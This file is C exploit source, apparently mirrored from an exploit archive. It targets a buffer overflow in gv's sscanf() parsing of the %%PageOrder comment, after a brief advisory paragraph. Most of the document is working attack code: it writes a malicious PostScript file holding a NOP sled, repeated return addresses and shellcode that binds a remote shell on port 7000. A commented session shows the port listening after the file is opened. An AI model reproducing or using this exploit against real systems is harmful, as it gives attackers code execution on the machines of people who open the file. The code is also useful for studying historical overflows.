86 lines
No EOL
3 KiB
C
86 lines
No EOL
3 KiB
C
// source: https://www.securityfocus.com/bid/5808/info
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gv is a freely available, open source Portable Document Format (PDF) and PostScript (PS) viewing utility. It is available for Unix and Linux operating systems.
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It has been reported that an insecure sscanf() function exists in gv. Due to this function, an attacker may be able to put malicious code in the %%PageOrder: portion of a file. When this malicious file is opened with gv, the code would be executed in the security context of the user opening the file.
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/*
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* gv postscript viewer exploit , infamous42md AT hotpop DOT com
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*
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* run of the mill bof. spawns a remote shell on port 7000. woopty doo. if
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* someone has been able to exploit the heap overflow in cfengine, please email
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* me and teach me something. after days of pain i've concluded it's not
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* possible b/c you can't manipulate the heap enough to get anything good in
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* front of you. please prove me wrong so i can learn.
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*
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* shouts to mitakeet
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*
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* [n00b@localho.outernet] netstat -ant | grep 7000
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* [n00b@localho.outernet] gcc -Wall -o gvown gvown.c
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* [n00b@localho.outernet] ./gvown 0xbffff350
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* [n00b@localho.outernet] ./gv h4x0ring_sacr3ts_uncuv3red.ps
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* [n00b@localho.outernet] netstat -ant | grep 7000
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* tcp 0 0 0.0.0.0:7000 0.0.0.0:* LISTEN
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*/
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#include <stdio.h>
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#include <sys/types.h>
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#include <fcntl.h>
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#include <stdlib.h>
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#include <unistd.h>
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#include <string.h>
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#define NOP 0x90
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#define NNOPS 512
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#define die(x) do{perror(x); exit(EXIT_FAILURE);}while(0)
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#define BS 0x10000
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#define RETADDR_BYTES 400
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#define PS_COMMENT "%!PS-Adobe- "
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#define OUTFILE "h4x0ring_sacr3ts_uncuv3red.ps"
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/* call them on port 7000, mine */
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char remote[] =
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"\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
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"\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
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"\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
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"\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
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"\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
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"\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
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"\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
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"\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
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int main(int argc, char **argv)
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{
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int len, x, fd;
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char buf[BS];
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u_long retaddr;
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if(argc < 2){
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fprintf(stderr, "Usage: %s < retaddr >\n", argv[0]);
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return EXIT_FAILURE;
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}
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sscanf(argv[1], "%lx", &retaddr);
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/* create 3vil buf */
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memset(buf, NOP, BS);
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strcpy(buf, PS_COMMENT);
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len = strlen(buf);
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for(x = 0; x < RETADDR_BYTES - 3; x += sizeof(retaddr))
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memcpy(buf+x+len, &retaddr, sizeof(retaddr));
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len += x + NNOPS;
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strcpy(buf+len, remote);
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strcat(buf+len, "\n");
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len += strlen(remote) + 1; /* + NULL */
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/* create the 3vil file */
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if( (fd = open(OUTFILE, O_RDWR|O_CREAT|O_EXCL, 0666)) < 0)
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die("open");
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if(write(fd, buf, len) < 0)
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die("write");
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close(fd);
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return 0;
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} |